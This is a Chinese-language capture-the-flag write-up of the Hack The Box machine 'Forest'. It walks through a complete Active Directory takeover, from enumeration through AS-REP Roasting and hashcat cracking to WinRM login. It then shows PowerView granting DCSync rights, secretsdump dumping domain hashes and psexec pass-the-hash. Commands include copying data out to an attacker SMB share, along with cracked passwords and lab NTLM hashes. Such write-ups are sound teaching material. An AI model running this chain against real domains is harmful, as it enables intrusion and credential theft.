概述
HTB Forest 是一台 Windows Active Directory 环境 的靶机,难度评级为 Easy。该靶机重点考察了以下域渗透核心知识点:

- AS-REP Roasting 攻击
- ACL 权限滥用
- DCSync 权限提权
本文完整记录了从信息收集到最终域管理员权限获取的全过程,详细展示了每一步的命令、思路及工具使用,适合正在学习 Windows 域渗透与权限提升 的安全研究人员和渗透测试初学者。
阶段 1:信息收集与域环境识别
1.1 Nmap 扫描
首先对目标主机进行端口全扫描,识别开放的服务及域信息:
nmap -Pn -sC -sV -p- -sT -T4 10.129.138.186
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-08 12:37:52Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49681/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
50018/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
关键信息:
- 域名:
htb.local - 主机名:
FOREST - 系统版本:Windows Server 2016 Standard
- 开放端口:53、88、135、389、445、593、5985、9389 等
说明目标是一个 Active Directory 域控制器 环境。
1.2 SMB 枚举
smbclient -L 10.129.138.186
Password for [WORKGROUP\root]:
Anonymous login successful
Sharename Type Comment
--------- ---- -------
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.138.186 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
crackmapexec smb 10.129.138.186 -u '' -p '' --shares

发现 message_signing 启用且必需,匿名访问受限,但仍可识别出主机域名和工作组信息。
1.3 获取密码策略
crackmapexec smb 10.129.138.186 --pass-pol
结果:

- 密码最小长度:7
- 密码复杂度:启用
- 账号锁定阈值:0(无限制)
可进行 密码喷射攻击(Password Spraying)。
1.4 LDAP 枚举
使用 ldapsearch 匿名绑定,成功获取域用户信息:
ldapsearch -x -H ldap://10.129.138.186 -b "dc=htb,dc=local" '(objectClass=User)' sAMAccountName
再删除掉Guesr,DefaultAccount,机器账户,SM,Health等内容

提取得到用户名列表,保存为userlist.ldap字典文件:
sebastien
lucinda
andy
mark
santi
1.5 RPC 枚举
rpcclient -N 10.129.138.186 -U ''
rpcclient $> enumdomusers # 枚举域用户
rpcclient $> enumdomgroups # 枚举域组
rpcclient $> querydominfo # 查询域信息
相较于ldap查询,通过RPC又多获取了一个用户名:svc-alfresco,将其加入userlist.ldap字典文件。

查询svc-alfresco用户的相关信息
queryuser svc-alfresco
# 或者通过rid查询
queryuser 0x47b

查询用户的组信息
queryusergroups svc-alfresco
# 有时候直接用户名查询不行,再尝试一下rid
queryusergroups 0x47b
group rid:[0x201] attr:[0x7]
group rid:[0x47c] attr:[0x7]
查询组信息
# querygroup [rid]
rpcclient $> querygroup 0x201
Group Name: Domain Users
Description: All domain users
Group Attribute:7
Num Members:30
rpcclient $> querygroup 0x47c
Group Name: Service Accounts
Description:
Group Attribute:7
Num Members:1
rpcclient $>
通过 enumdomusers 与 queryusergroups 确认 svc-alfresco 属于 Service Accounts 组。
阶段 2:初始访问 — AS-REP Roasting
由于部分用户未启用 Kerberos 预身份验证,可直接对其进行 AS-REP Roasting 攻击。
impacket-GetNPUsers htb.local/ -dc-ip 10.129.138.186 -usersfile userlist.ldap -outputfile asrep.hash
得到可爆破的哈希:

$krb5asrep$23$svc-alfresco@HTB.LOCAL:7ebe9ca839dedfeafa80d90e06333d6f...
使用 Hashcat 爆破:
hashcat -m 18200 asrep.hash rockyou.txt
成功爆出密码:

svc-alfresco : s3rvice
阶段 3:系统访问与信息收集
3.1 Evil-WinRM 登录
evil-winrm -i 10.129.138.186 -u svc-alfresco -p 's3rvice'
成功登录:

获取 user.txt flag。

3.2 主机与域信息收集
对红色方框用户执行net user发现都是普通域用户

3.3 BloodHound 数据收集
上传并执行 SharpHound:
.\SharpHound.exe -c all
将结果文件下载至 Kali:
kali:impacket-smbserver -smb2support share /tmp/smbshare
靶机:copy .\BloodHound.zip \\10.10.14.6\share\
阶段 4:权限提升 — ACL 滥用到 DCSync
4.1 BloodHound 分析路径
选择“从域用户到零层/高价值目标的最短路径”

提权路径:

在 BloodHound 中分析用户关系,发现:
svc-alfresco属于Service AccountsService Accounts属于Privileged IT AccountsPrivileged IT Accounts属于Account OperatorsAccount Operators对Exchange Windows Permissions拥有 GenericAll 权限Exchange Windows Permissions组具有 WriteDACL 权限,可修改域对象 ACL
即:可通过 修改 DACL → 赋予 DCSync 权限 → 提权为域管
4.2 新建用户并赋权
evil-winrm:
net user john Abc123! /add /domain
net group "Exchange Windows Permissions" john /add
net localgroup "Remote Management Users" john /add
4.3 使用 PowerView 修改 DACL
evil-winrm:
upload PowerView.ps1
. .\PowerView.ps1
$pass = ConvertTo-SecureString 'Abc123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\john', $pass)
Add-ObjectACL -PrincipalIdentity john -Credential $cred -Rights DCSync
4.4 执行 DCSync 获取域哈希
impacket-secretsdump htb/john@10.129.138.186
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
htb.local\$331000-VK4ADACQNUCA:1123:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
------[skip]------
[*] Cleaning up...
成功导出 Administrator 哈希。
4.5 横向移动至域控
使用哈希登录:
impacket-psexec administrator@10.129.138.186 -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6
C:\Users\Administrator\Documents> whoami
htb\administrator
C:\users\administrator\desktop>type root.txt
成功获取系统最高权限并访问 root.txt。
阶段 5:结果与总结
5.1 获取结果
-
初始用户:
svc-alfresco -
域管用户:
administrator -
攻击链:
LDAP/RPC 枚举 → AS-REP Roasting → WinRM 登录 → BloodHound 分析 → ACL 滥用 → DCSync 提权
思路总结与学习要点
-
LDAP 枚举的重要性
匿名 LDAP 查询可直接获取用户清单,是发现弱口令与 Kerberos 攻击对象的关键。 -
AS-REP Roasting 攻击逻辑
当用户禁用 Kerberos 预身份验证时,攻击者可直接请求 TGT 并离线爆破其哈希。 -
BloodHound 的价值
它帮助可视化域内权限关系,快速识别可滥用路径,如 GenericAll、WriteDACL、ForceChangePassword 等。 -
ACL 与 DCSync 提权链
掌握 “GenericAll → WriteDACL → DCSync” 的提权思路,是域渗透进阶的核心技能。
注意:本文记录的渗透测试技术仅用于教学目的,所有测试都应在授权环境中进行。
1337

被折叠的 条评论
为什么被折叠?



